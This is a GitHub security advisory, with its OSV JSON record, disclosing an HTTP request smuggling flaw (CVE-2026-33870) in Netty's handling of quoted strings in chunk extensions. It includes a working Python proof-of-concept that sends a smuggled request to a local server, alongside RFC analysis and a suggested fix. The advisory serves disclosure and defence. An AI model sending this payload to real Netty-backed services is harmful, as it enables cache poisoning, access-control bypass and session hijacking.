GHSA-PWQR-WMGM-9RR8
Vulnerability from github – Published: 2026-03-26 18:48 – Updated: 2026-03-27 21:49Summary
Netty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
Background
This vulnerability is a new variant discovered during research into the "Funky Chunks" HTTP request smuggling techniques:
The original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.
Technical Details
RFC 9110 Section 7.1.1 defines chunked transfer encoding:
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
RFC 9110 Section 5.6.4 defines quoted-string:
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
Critically, the allowed character ranges within a quoted-string are:
qdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text
quoted-pair = "\" ( HTAB / SP / VCHAR / obs-text )
CR (%x0D) and LF (%x0A) bytes fall outside all of these ranges and are therefore not permitted inside chunk extensions—whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a 400 Bad Request response (as Squid does, for example).
Vulnerability
Netty terminates chunk header parsing at \r\n inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.
Expected behavior (RFC-compliant): A request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.
Actual behavior (Netty):
Chunk: 1;a="value
^^^^^ parsing terminates here at \r\n (INCORRECT)
Body: here"... is treated as body or the beginning of a subsequent request
The root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.
Proof of Concept
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
Result: The server returns two HTTP responses from a single TCP connection, confirming request smuggling.
Parsing Breakdown
| Parser | Request 1 | Request 2 |
|---|---|---|
| Netty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED) |
| RFC-compliant parser | 400 Bad Request | (none — malformed request rejected) |
Impact
- Request Smuggling: An attacker can inject arbitrary HTTP requests into a connection.
- Cache Poisoning: Smuggled responses may poison shared caches.
- Access Control Bypass: Smuggled requests can circumvent frontend security controls.
- Session Hijacking: Smuggled requests may intercept responses intended for other users.
Reproduction
- Start the minimal proof-of-concept environment using the provided Docker configuration.
- Execute the proof-of-concept script included in the attached archive.
Suggested Fix
The parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:
1. Read chunk-size.
2. If ';' is encountered, begin parsing extensions:
a. For each byte before the terminating CRLF:
- If CR (%x0D) or LF (%x0A) is encountered outside the
final terminating CRLF, reject the request with 400 Bad Request.
b. If the extension value begins with DQUOTE, validate that all
enclosed bytes conform to the qdtext / quoted-pair grammar.
3. Only treat CRLF as the chunk header terminator when it appears
outside any quoted-string context and contains no preceding
illegal bytes.
Acknowledgments
Credit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.
Resources
Attachments
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.132.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.10.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33870"
],
"database_specific": {
"cwe_ids": [
"CWE-444"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T18:48:55Z",
"nvd_published_at": "2026-03-27T20:16:34Z",
"severity": "HIGH"
},
"details": "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \u003chttps://w4ke.info/2025/06/18/funky-chunks.html\u003e\n- \u003chttps://w4ke.info/2025/10/29/funky-chunks-2.html\u003e\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions\u2014whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n b\"POST / HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Transfer-Encoding: chunked\\r\\n\"\n b\"\\r\\n\"\n b\u00271;a=\"\\r\\n\u0027\n b\"X\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n b\"GET /smuggled HTTP/1.1\\r\\n\"\n b\"Host: localhost\\r\\n\"\n b\"Content-Length: 11\\r\\n\"\n b\"\\r\\n\"\n b\u0027\"\\r\\n\u0027\n b\"Y\\r\\n\"\n b\"0\\r\\n\"\n b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n try:\n chunk = sock.recv(4096)\n if not chunk:\n break\n response += chunk\n except socket.timeout:\n break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser | Request 1 | Request 2 |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable) | POST / body=\"X\" | GET /smuggled (SMUGGLED) |\n| RFC-compliant parser | 400 Bad Request | (none \u2014 malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If \u0027;\u0027 is encountered, begin parsing extensions:\n a. For each byte before the terminating CRLF:\n - If CR (%x0D) or LF (%x0A) is encountered outside the\n final terminating CRLF, reject the request with 400 Bad Request.\n b. If the extension value begins with DQUOTE, validate that all\n enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n outside any quoted-string context and contains no preceding\n illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
"id": "GHSA-pwqr-wmgm-9rr8",
"modified": "2026-03-27T21:49:43Z",
"published": "2026-03-26T18:48:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/06/18/funky-chunks.html"
},
{
"type": "WEB",
"url": "https://w4ke.info/2025/10/29/funky-chunks-2.html"
},
{
"type": "WEB",
"url": "https://www.rfc-editor.org/rfc/rfc9110"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.